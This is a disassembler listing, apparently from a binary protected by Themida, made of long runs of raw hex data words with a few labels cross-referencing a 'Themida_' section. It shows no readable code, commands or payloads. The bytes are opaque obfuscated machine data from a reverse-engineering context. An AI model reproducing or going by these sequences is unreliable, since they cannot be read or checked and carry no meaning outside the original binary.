		dd 40000000h, 59E9C350h, 0BBC302D3h, 0B0363D97h, 0F01BD2Bh
		dd 0CE810637h, 2341342h, 0CE9h,	0ED296D00h, 3DBD6AECh
		dd 917793D4h, 17870F0Fh, 0E9000000h, 12h, 834B9CEBh, 0FF2A3735h
		dd 6C12430Ah, 888A1DD7h, 12E83A00h, 48000000h, 0FD197215h
		dd 8803EF43h, 4355E083h, 0FB1280C7h, 4890F4Dh, 66000000h
		dd 5E33DEBEh, 0E857006Ah, 3, 5FC35F20h,	4247C89h, 4244481h
		dd 17h,	0DEC35747h, 0F2C5AB7h, 8166F1B7h, 6A144AE7h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 14042444h, 47000000h
		dd 6699C357h, 0F707D781h, 26118589h, 0FE8B0637h, 0BB5B589h
		dd 0B5890637h, 6372A91h
		dd 0F0EE8166h, 8FDE81AEh, 6A2591DFh, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1B042444h, 41000000h, 1A33C351h
		dd 2B218799h, 6060DBA5h, 0FD78B66h, 82h, 0DBB70F00h, 8B61D08Bh
		dd 258D31FBh, 61063704h, 20A5B58Bh, 0AAE90637h,	6AFFFFF7h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 17042444h
		dd 41000000h, 9BACC351h, 0BF0F6F72h
		db 0F1h
byte_57CB31	db 8Bh,	0C1h, 6Ah	; DATA XREF: Themida_:0053D774o
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1B042444h
		dd 47000000h, 9041C357h, 81207C2h, 5752E4E9h, 1115B58Bh
		dd 5F5F0637h, 4EBh, 0BE660000h,	0B70FD156h, 57006AFFh
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1504h, 0C3574700h
		dd 0B52B509Eh, 6372ED1h, 885858Dh, 8D890637h, 6370739h
		dd 0F5BF6690h, 666050E7h, 0E9858DBAh, 13h, 0E6B0D1Ch, 41B95016h
		dd 2CBE45DAh, 729D8C1Bh, 61DD7211h, 0D1BD8B90h,	0F063728h
		dd 687h, 0A1958900h, 6A06370Bh,	56006A00h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1704h,	0C3564600h, 0ECB94567h
		dd 81FB8B66h, 0EF2372CEh, 89006A1Ch, 371749BDh,	0F0858D06h
		dd 23063B00h, 371B2DB5h, 5C08306h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Ch, 0CCC35646h,	0F2358D5h, 37AD0A09h
		dd 4E1BD8Bh, 60500637h,	8961DCB1h, 0B58B2404h, 6372F65h
		dd 6A006Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h
		dd 55450000h, 15AD50C3h, 6D446F45h, 25CDB58Bh, 6A0637h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 18h, 51C35242h
		dd 0B0EB8191h, 2545B58Bh, 95FF0637h, 6370AEDh, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 1EC35747h, 10620C9Ch
		dd 63B7AD8Ah, 8DF88BB5h, 3AA1359Dh, 52006A06h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1704h,	0C3524200h, 0D57F929Fh
		dd 0B589D3FFh, 63701A9h, 2A7D85FFh, 6A0637h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 170424h, 51410000h, 0BB2364C3h
		dd 0B98D89B7h, 8B063712h, 371A39B5h, 11E906h, 0A4BF0000h
		dd 43025398h, 0CC61C74Ah, 2AD9ECEAh, 0E9CDBC01h, 85Fh
dword_57CD44	dd 0E8h, 0ED815D00h, 63B00FAh, 0E857006Ah, 3, 5FC35F20h
					; DATA XREF: Themida_:0053EC1Co
		dd 4247C89h, 4244481h, 17h, 20C35747h, 3132E291h, 371BDD9Dh
		dd 0B2BE6606h, 99BD812Fh, 0D0063701h, 0F000007h, 12586h
		dd 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1404h
		dd 0C3514100h, 0C19D2935h, 8B06372Ah, 371B599Dh, 57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1A04h, 0C3574700h
		dd 171CB81Bh, 81E3D057h, 100E3h, 0C5B58B00h, 0B063701h
		dd 8E850FDBh, 60000000h, 2635858Bh, 83610637h, 3AFF13BDh
		dd 840F0006h, 44h, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 19h, 0CFC35040h, 7F248539h, 199D89B7h, 0E9063714h
		dd 9, 285BC109h, 52204444h, 4EE923h, 5E90000h, 5E000000h
		dd 9566EA4Eh, 0FF1385C7h, 1063Ah, 6A0000h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 180424h, 51410000h, 4FEF7FC3h
		dd 15E9F0BDh, 89000000h, 3711FDB5h, 1385C706h, 63AFFh
		dd 66000000h, 59EAD781h, 1B599D8Dh, 0DE80637h, 31000000h
		dd 90CC474Dh, 0AAC28527h, 0E02B42Bh, 0DEA911BFh, 23815F3Ch
		dd 0FFFFFEFFh, 29A5BD8Bh, 8C660637h, 52006ADBh,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1504h,	0C3524200h, 8589BED3h
		dd 63732C1h, 0F04C3F6h,	1384h, 0F78B6600h, 58995FFh, 89500637h
		dd 0BD8B2404h, 63712F5h, 485E9h, 57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1B04h,	0C3574700h, 2D1C8ED3h
		dd 0D9EC8F7h, 10E9h, 0E3230C00h, 576EE177h, 8328F0D1h
		dd 5B689740h, 6A00B021h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1C042444h, 43000000h, 0FF7BC353h,	7C0D5F15h
		dd 8BF5B171h, 370FC1B5h, 6A70E606h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 17042444h, 42000000h, 0BF40C352h
		dd 0AE92AA8h, 89000000h, 0D454BAE2h, 5C8A69A8h,	0E871E411h
		dd 9, 0DD2FA3C2h, 693759Ch, 0F99D0949h,	5F063706h, 6AD8B60Fh
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1C042444h
		dd 40000000h, 1BE7C350h, 517EAB9h, 985C501h, 371A3185h
		dd 0DDBD0306h, 0BA063709h, 6, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 14h, 0B6C35242h,	1E59BD33h, 74BE0637h
		dd 2921B941h, 37014595h, 0C1C38B06h, 6A04E8h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 762622C3h
		dd 9FD631D3h, 0F4F4E3Dh, 0F766F9B7h, 6820FE2h, 0F000000h
		dd 85h,	66D82B00h, 0C96ED781h, 241C8950h, 0E850006Ah, 3
		dd 58C35820h, 4244489h,	4244481h, 1Ch, 0C1C35040h, 286A6948h
		dd 0D772FDDh, 35852952h, 5E063720h, 199B5FFh, 0B5890637h
		dd 6370981h, 321DB58Bh,	95FF0637h, 6373219h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 0F4C35646h, 50146F55h
		dd 9B735357h, 98D89ABh,	0B0063725h, 0F6B70F00h,	22FD8D01h
		dd 70E60637h, 0E855006Ah, 3, 5DC35D20h,	4246C89h, 4244481h
		dd 14h,	0B7C35545h, 16850Fh, 6E80000h, 0DF000000h, 0CADBBCC7h
		dd 5E93Dh, 63520000h, 5EFAD526h, 20358589h, 71E40637h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Bh, 0A8C35040h
		dd 33CF275Ah, 0F842E9FEh, 830F613Ch, 246h, 6AD8B60Fh, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 19042444h, 41000000h
		dd 7907C351h, 0C5DAC1A6h, 869873BEh, 6BA34h, 6A0000h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h
		dd 7AA82FC3h, 8BFB8B66h, 57006AC3h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1404h, 0C3574700h, 0D995299Ch, 0F06372Eh
		dd 0E8C1FBB7h, 53006A04h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1C04h, 0C3534300h, 0E1AB8733h, 42B7365Ah
		dd 0EF8166A6h, 8A0F53D3h, 6, 1DD99589h,	6E80637h, 0F2000000h
		dd 6BD1809Ch, 0F7665F52h, 51006AE2h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1904h,	0C3514100h, 37E36325h
		dd 0E957D3F8h, 8, 1179A884h, 144BCF4Fh,	7D95895Fh, 2B063709h
		dd 559501D8h, 58063723h, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 16h, 96C35646h, 85894BA8h,	6372D7Dh, 880FD82Bh
		dd 11Eh, 0E856006Ah, 3,	5EC35E20h, 4247489h, 4244481h
		dd 19h,	0C8C35646h, 55B9FCD4h, 7B9F852h, 6A000000h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1C042444h, 45000000h
		dd 35AFC355h, 8C9911BBh, 0F74129Bh, 580h, 0D7816600h, 8B50E405h
		dd 0C1835FF2h, 51006A00h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1404h, 0C3514100h, 0F5B58BF7h, 0E9063725h
		dd 0Eh,	30509B0h, 0AB4FCDDEh, 0A4AA95E9h, 0D93B8C25h, 84860Fh
		dd 8D890000h, 6371BA9h,	0FD98C66h, 0C1F6F6B7h, 5E840F04h
		dd 8B000000h, 371CFDB5h, 8995FF06h, 8B063705h, 372DC9BDh
		dd 605BF906h, 0DB81FE8Ah, 12C6FE86h, 8BC32B61h,	372EB9B5h
		dd 8343D06h, 860F0000h,	2Dh, 72C68166h,	33E9F5F6h, 6A000000h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1A042444h
		dd 43000000h, 0A5FBC353h, 0F129392Bh, 0FC08BE6h, 98Ah
		dd 38D0F00h, 66000000h,	0C38BF88Bh, 6AD88Bh, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1A0424h, 56460000h, 0C98CA7C3h
		dd 5048C203h, 0BC18D29h, 0FE8B0637h, 2E9D85C7h,	9B7B0637h
		dd 4BF122Fh, 895D11D4h,	37285D85h, 6AC08B06h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1A042444h, 46000000h
		dd 40DFC356h, 0E85F0A53h, 81F08B22h, 370199BDh,	7D006h
		dd 30850F00h, 89000000h, 3719C585h, 9985FF06h, 6A063701h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 15042444h
		dd 45000000h, 0C191C355h, 66F28B66h, 0FF03A0BEh, 370199B5h
		dd 0B58B5106h, 6372F6Dh, 1995FF5Fh, 6A063732h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1A042444h, 42000000h
		dd 701AC352h, 6FC8BE49h, 8E95741h, 0CF000000h, 345D2E6Fh
		dd 5FBDB0FDh, 57006A90h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1704h, 0C3574700h, 71BE5085h, 405B58Bh, 9D290637h, 6371139h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 19h, 0C35646h
		dd 3F53509h, 5195894Eh,	8B063725h, 12E9FBh, 712B0000h
		dd 16D20F06h, 4B467C0Ch, 274C561Dh, 0D9D2B841h,	21EF8166h
		db 51h
byte_57D4D9	db 0E9h, 0Dh, 0		; DATA XREF: Themida_:0053E4D0o
		dd 51510000h, 7FFDDF8h,	9C8324C9h, 89B9F323h, 3730C995h
		dd 0F98D8906h, 89063724h, 372F3995h, 0F9B58B06h, 8B06372Dh
		dd 3708E5B5h, 8B665206h, 0FE95FF0h, 4A000000h, 55F58FA8h
		dd 0EDE02B06h, 0DF52843Dh, 6A2F7Eh, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 140424h, 52420000h, 0BF66CEC3h
		dd 0E781744Ch, 770701ABh, 6AF18B66h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 8387C352h
		dd 13C19111h, 0B70FD39Ch, 0F7CEE9FBh, 6AFFFFh, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h
		dd 0C6ED0BC3h, 8B72A449h, 3732D1BDh, 0FD8D8906h, 8B06371Bh
		dd 0E2BEBFC1h, 4EB4C19h, 0
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch, 54C35040h
		dd 0CADD65DCh, 6FC5F36Fh, 11E8h, 0B72E2900h, 877D7F2Ah
		dd 0C8F03105h, 8654FC81h, 858908FAh, 63718BDh, 0F1BF0F5Eh
		dd 0EE8h, 0C2891500h, 147C886h,	0B64227B7h, 579B76FEh
		dd 0AF1BD8Bh, 5E5F0637h, 885858Dh, 6A0637h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 180424h, 57470000h, 0F2F09BC3h
		dd 52904595h, 6A90505Eh, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1C042444h
dword_57D650	dd 46000000h, 2B93C356h, 0EA5AADBFh, 0F2736CAh,	58Bh, 0EA1BBE00h
					; DATA XREF: Themida_:0053D324o
		dd 12E9593Fh, 9C000000h, 6BC764F5h, 49701A38h, 416FC8BEh
		dd 0EBA011B0h, 6AF78BA1h, 0EE900h, 0E68B0000h, 3261755Ah
		dd 963B13E6h, 6CFD449h,	6A006Ah, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 140424h, 57470000h, 8E0F22C3h, 0
		dd 0B77858Dh, 6A063Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 190424h, 57470000h, 0D285B7C3h, 0E9A750C4h, 12h, 21538D7Dh
		dd 0E4B4753Fh, 9BB32C96h, 0A4BAD2EBh, 0C083F4B5h, 55006A05h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1D04h, 0C3554500h
		dd 0D7ADAAB4h, 902C4DD4h, 9589C7C7h, 63725FDh, 830F5090h
		dd 5, 747415BEh, 6A902Eh, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 170424h, 56460000h, 0D2AB82C3h, 0C781667Ah
		dd 6A9871h, 11E9h, 0DA1C8D00h, 35BEAC92h, 16E98A84h, 6BDF25C9h
		dd 6A1BB0h, 11D99D89h, 95FF0637h, 6370AEDh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 4FC35343h, 2DB8B21Dh
		dd 665E76FBh, 9D8DF78Bh, 63AA135h, 11A1BD29h, 0D3FF0637h
		dd 9D5B52Bh, 85FF0637h,	6372A7Dh, 0B198EF81h, 84E93FEBh
		db 8, 2	dup(0)
byte_57D7CB	db 0E8h			; DATA XREF: Themida_:0053E884o
		align 10h
		dd 81ED815Dh, 0E8063B0Bh, 0Bh, 1C9764C5h, 848A2104h, 0E80212B1h
		dd 0Ah,	95900A9Ah, 0B729771Bh, 0BD03D9BFh, 6370D91h, 0BD815E5Eh
		dd 6370199h, 7D0h, 11A860Fh, 6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1A0424h, 56460000h, 855D99C3h
		dd 28B97940h, 3009B52Bh, 9D8B0637h, 6372DC1h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 74C35545h, 46F2F346h
		dd 0ABD5B1D1h, 6830F1Fh, 29000000h, 3700198Dh, 0E38106h
		dd 0F000001h, 0DB0BFBB7h, 5F850Fh, 0D7810000h, 1F9B41Bh
		dd 95DBD83h, 0F00063Bh,	3784h, 50006A00h, 3E8h,	0C3582000h
		dd 24448958h, 24448104h, 1404h,	0C3504000h, 10E840h, 86ED0000h
		dd 0ED4646A1h, 0AFC76813h, 3BE0694Eh, 0E95F9EADh, 25h
		dd 95D85C7h, 1063Bh, 16E90000h,	89000000h, 370CD18Dh, 5D85C706h
		dd 63B09h, 89000000h, 371ACD8Dh, 0C19D8D06h, 2906372Dh
		dd 371E91B5h, 0FF238106h, 6AFFFFFEh, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1B042444h, 40000000h, 612C350h
		dd 0B4619F6Ah, 0BD316AB0h, 63708F5h, 6ADB8C66h,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h
		dd 0D5B7C353h, 0BD8B5D91h, 6372AC1h, 0F04C3F6h,	8584h
		dd 8B665000h, 10E95EFBh, 50000000h, 77B7D1B4h, 63BCAFA5h
		dd 5ADEC6E8h, 0FFAA46FDh, 37058995h, 51006A06h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1804h,	0C3514100h, 0E9A5E1DCh
		dd 0DA9EBFDFh, 8E0F05B8h, 0Ah, 5E9h, 0C694F300h, 50902DC2h
		dd 11E95152h, 6D000000h, 4BF21650h, 99CE1E09h, 3F598D53h
		dd 3BB619FDh, 66310F5Fh, 5AD837BEh, 5EBF5058h, 904AE4D6h
		dd 0C905CF81h, 49E9450Eh, 8B000004h, 8900B0FBh,	371BA985h
		dd 0F70E606h, 1B86h, 0FE800h, 2E4F0000h, 1B60F2FDh, 9DB97450h
		dd 0D7F3A15Dh, 0E1B589CAh, 5E063705h, 6A71E4h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 1D0424h, 52420000h
		dd 0B1DDEC3h, 0CEB65265h, 0F34B2C1h, 687h, 0C18D8900h
		dd 0F063713h, 6AD8B6h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1C0424h, 51410000h, 4C49BEC3h, 45EE2180h, 0F57A94Ah
		dd 0BF5FF2B7h, 6B04C335h, 6BAh,	9850100h, 8B063725h, 52006AC3h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1A04h, 0C3524200h
		dd 4F38E649h, 6696026Ch, 0E8649CBFh, 0Ch, 0E93AA788h, 66DA58E6h
		dd 1C9764C5h, 29A5B589h, 0C15F0637h, 66FC04E8h,	6AE2F7h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h
		dd 91644FC3h, 0E4A3713Eh, 6DBEF757h, 2B6EB7BEh,	56006AD8h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1804h, 0C3564600h
		dd 5484D38h, 9195015Ch,	50063700h, 1C89F78Bh, 0EE924h
		dd 861C0000h, 0E0235BF2h, 0FE8D1635h, 37B9FE83h, 0D0C0BF60h
		dd 0FF6142F7h, 370199B5h, 0FBB70F06h, 321995FFh, 6A0637h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 190424h, 50400000h
		dd 70C889C3h, 8B9335F7h, 0A870FFEh, 0F000000h, 48Dh, 81BE6600h
		dd 6A00B0E4h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 18042444h, 40000000h, 0AD5BC350h, 0E63EF53Eh, 56006A70h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1504h, 0C3564600h
		dd 71E45ED1h, 12E8h, 4D6A1C00h,	0AC3A10F2h, 0DE4D1EA6h
		dd 16B3D917h, 8B5D6D23h, 37224DBDh, 613C5E06h, 24A830Fh
		dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h
		dd 52420000h, 66EB3FC3h, 77DF81F4h, 292EE87Ch, 371341BDh
		dd 0D8B60F06h, 2EA1BD29h, 6BA0637h, 33000000h, 3701A9B5h
		dd 6AC38B06h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1A042444h, 40000000h, 5A5FC350h, 287C6E44h, 4E8C1EFh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 1DC35545h
		dd 3E1D2306h, 0C1DE8165h, 662477D8h, 0D681E2F7h, 285D378Fh
		dd 6AD82Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h
		dd 55450000h, 0FACB3EC3h, 0BCEE819Bh, 5841AD2Dh, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 14h, 0C0C35040h, 0C482E681h
		dd 0B58B2A1Dh, 63722B5h, 880FD82Bh, 15Ch, 0E855006Ah, 3
		dd 5DC35D20h, 4246C89h,	4244481h, 16h, 0FBC35545h, 0BF0FC4BDh
		dd 7B9F0h, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 140424h, 56460000h, 0BD3387C3h, 6371429h, 6A00C183h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 18042444h
		dd 43000000h, 741AC353h, 3BACA97Bh, 0E9860FD9h,	0E9000000h
		dd 0Bh,	6D59FB0Eh, 0BBFD812Bh, 664D5419h, 0B70FD98Ch, 4C1F6F6h
		dd 0C2840Fh, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1D0424h, 50400000h, 9110BC3h, 6BF19494h, 904F832h, 3716ED9Dh
		dd 0B9B53306h, 0FF063713h, 37058995h, 31858906h, 5B06372Eh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 4CC35545h
		dd 4EF91C1Ah, 0DB53353h, 2B063700h, 4AA4BFC3h, 343D7293h
		dd 0F000008h, 4B86h, 50006A00h,	3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1604h, 0C3504000h, 0F8795A4h, 2DE9FFB7h
		dd 6A000000h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 18042444h, 41000000h, 1518C351h, 66C33382h, 1B06D681h
		dd 0B58BC08Bh, 6370901h, 0D88BC38Bh, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 18h, 0BEC35141h,	0B5193AB7h, 13ED9D29h
		dd 85C70637h, 6371B59h,	5DD6197Fh, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Ch, 54C35747h, 5609131Ch, 0E1CC190h
		dd 0C95491BEh, 0E7816605h, 0C08B03A9h, 0F7816652h, 0F5FB2DFh
		dd 683h, 0D5B52300h, 8106371Ah,	370199BDh, 7D006h, 3F850F00h
		dd 0BF000000h, 4ED6C5B1h, 19985FFh, 6A0637h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 170424h, 50400000h, 4949B5C3h
		dd 10E955h, 0EEAD0000h,	0CC26D8F9h, 0AB984CA1h,	0AC7DD10h
		dd 0B5FF4F3Bh, 6370199h, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 19h, 0D8C35141h, 533774B6h, 1995FF53h, 6A063732h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 17042444h
		dd 42000000h, 3E28C352h, 0E781744Ah, 7D3C18E4h,	0F7BF0F90h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 18h, 0A5C35242h
		dd 0E0800534h, 19418D01h, 0BD2B0637h, 6370F91h,	18D8D89h
		dd 6A0637h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h
		dd 56460000h, 7BA4C0C3h, 0FE9h,	509AAB00h, 9BC1493Dh, 24728E31h
		dd 2ABD19B2h, 0AB18C681h, 89F90EDBh, 37140185h,	51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1D04h
		dd 0C3514100h, 0D3D2C08h, 2AA296E2h, 6AACBCh, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 150424h, 52420000h, 609716C3h
		dd 89D18B66h, 37103995h, 0CE906h, 0AEE60000h, 0C8144765h
		dd 809F8395h, 0BD8942FAh, 6372D99h, 50006A61h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1A04h,	0C3504000h, 0A4C98731h
		dd 0FA821F2h, 581h, 2D04BE00h, 7CE933FFh
		db 0F7h, 2 dup(0FFh)
byte_57E04F	db 8Bh			; DATA XREF: Themida_:0053ED24o
		dd 55006AC1h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1A04h
		dd 0C3554500h, 94F39058h, 8B2DC2C6h, 372349BDh,	0F99D2906h
		dd 0EB063712h, 4, 0C5B52B00h, 0F806370Dh, 85858DF9h, 0E9063708h
		dd 14h,	0D8141773h, 0AC600D7Bh,	0A6004424h, 10A70EEAh
		dd 1CAABD99h, 3840F50h,	66000000h, 489F08Bh, 56006A24h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1B04h, 0C3564600h
		dd 907BDD9Ch, 0BD48D5FCh, 0BE66006Ah, 6AD120h, 4AADCF81h
		dd 858D7645h, 63B15C5h,	0CDBD0B51h, 5F063731h, 0E24FCE81h
		dd 0C0835008h, 0D58D0905h, 50063706h, 489F38Bh,	3D9D8924h
		dd 6A063709h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1904h, 0C3574700h, 84F299FFh, 6AD2D9h, 0E853006Ah, 3
		dd 5BC35B20h, 4245C89h,	4244481h, 19h, 86C35343h, 0A8587421h
		dd 0C59D898Dh, 0FF06370Dh, 370AED95h, 0F59D8906h, 8D06370Bh
		dd 3AA1359Dh, 60576006h, 90BA5961h, 6166ABE4h, 6870F60h
		dd 9000000h, 372F199Dh,	0FD952906h, 61063725h, 6AD3FFh
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h
		dd 2E9B48C3h, 0DDB169D1h, 0F8E253Eh, 9529F0B7h,	63717B9h
		dd 2A7D85FFh, 6A0637h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1D0424h, 53430000h, 0BDF06CC3h, 24C466FBh, 0E88F95DCh
		dd 0Ch,	987A8F87h, 27B8DC59h, 3BCFBF7Dh, 0ED5C70BFh, 0DE95E0Ch
		dd 0AF000000h, 0B7A84299h, 0E34551F4h, 6A1698F1h, 78CE9h
		dd 0E800h, 815D0000h, 3B15CFEDh, 0B5B52906h, 81063708h
		dd 370199BDh, 7D006h, 14860F00h, 6A000001h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 0F459C352h
		dd 8B3F5443h, 372F299Dh, 0E38106h, 2B000001h, 372925B5h
		dd 0FDB0B06h, 7185h, 75958900h,	83063704h, 3B1432BDh, 840F0006h
		dd 36h,	1EAD8589h, 8DE90637h, 6A000000h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 19042444h, 40000000h, 5003C350h
		dd 0D076A52Ch, 81F78B60h, 85AA5C6h, 85C7612Dh, 63B1432h
		dd 1, 0EE9h, 69BE000h, 31619281h, 66A5DC94h, 0E9DE245Eh
		dd 40h,	1FB5BD01h, 85C70637h, 63B1432h,	0
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Dh, 0DC35040h
		dd 7E68E4E6h, 34695A62h, 0A99589E9h, 66063720h,	0C5FEDF81h
		dd 2F299D8Dh, 6A0637h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1B0424h, 52420000h, 0CB702CC3h, 99BC4D64h, 0FF238181h
		dd 66FFFFFEh, 8B66DB8Ch, 4C3F6F3h, 26840Fh, 0B58B0000h
		dd 6371861h, 58995FFh, 95090637h, 6370FE5h, 0B4DBD8Bh
		dd 50900637h, 0B5BABCBFh, 9D899010h, 6372589h, 41DE9h
		dd 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1704h
		dd 0C3564600h, 0BE92AC46h, 21AD8D31h, 0B00637h,	0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 6C35545h, 93C78166h
		dd 11E95773h, 64000000h, 577173Ch, 35E90BA1h, 1D61C655h
		dd 5EDC9724h, 6A70E65Fh, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1B042444h, 41000000h, 0AD45C351h,	632F89F8h
		dd 0BD0B4EEDh, 6371925h, 7E8h, 0C8310D00h, 0E33F9F08h
		dd 0ADB533h, 0E45E0637h, 95896071h, 63732DDh, 80585060h
		dd 616125DEh, 6AD8B60Fh, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 16042444h, 43000000h, 9673C353h, 6BA31h
		dd 0C38B0000h, 0E8C1F08Bh, 57006A04h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1B04h,	0C3574700h, 6AFD56CCh
		dd 0DE29FCE4h, 6AE2F766h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 15042444h, 46000000h, 0A5E4C356h,	6840Fh
		dd 8D890000h, 6372E91h,	6AD82BF9h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 0F885C357h
		dd 0CC474D31h, 8A0F2790h, 6, 9B19589h, 0E9500637h, 11h
		dd 0A394FEE4h, 0AC0BDE99h, 0AC536221h, 5C0D3FA9h, 241C89E2h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 16h, 0CBC35646h
		dd 8B66C6FCh, 0FFFB8BF3h, 370199B5h, 61BD8B06h,	0FF063718h
		dd 37321995h, 5850F06h,	66000000h, 0CD92DE81h, 6A00B0h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h
		dd 69CC6EC3h, 8DD8E6h, 0EF81AE49h, 684B0A2Bh, 0BD8B70E6h
		dd 6371DA5h, 6A71E4h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 180424h, 50400000h, 159938C3h, 0B50BF009h, 6371C15h
		dd 830F613Ch, 202h, 0BAD8B60Fh,	6, 12E8h, 0FB3DFA00h, 8D140AE6h
		dd 25F004h, 0B9053FF1h,	0F135C2Ch, 68Dh, 4CF8100h, 5F361172h
		dd 6AC38Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h
		dd 52420000h, 0EF4897C3h, 2FD1BB60h, 14E852B7h,	0EC000000h
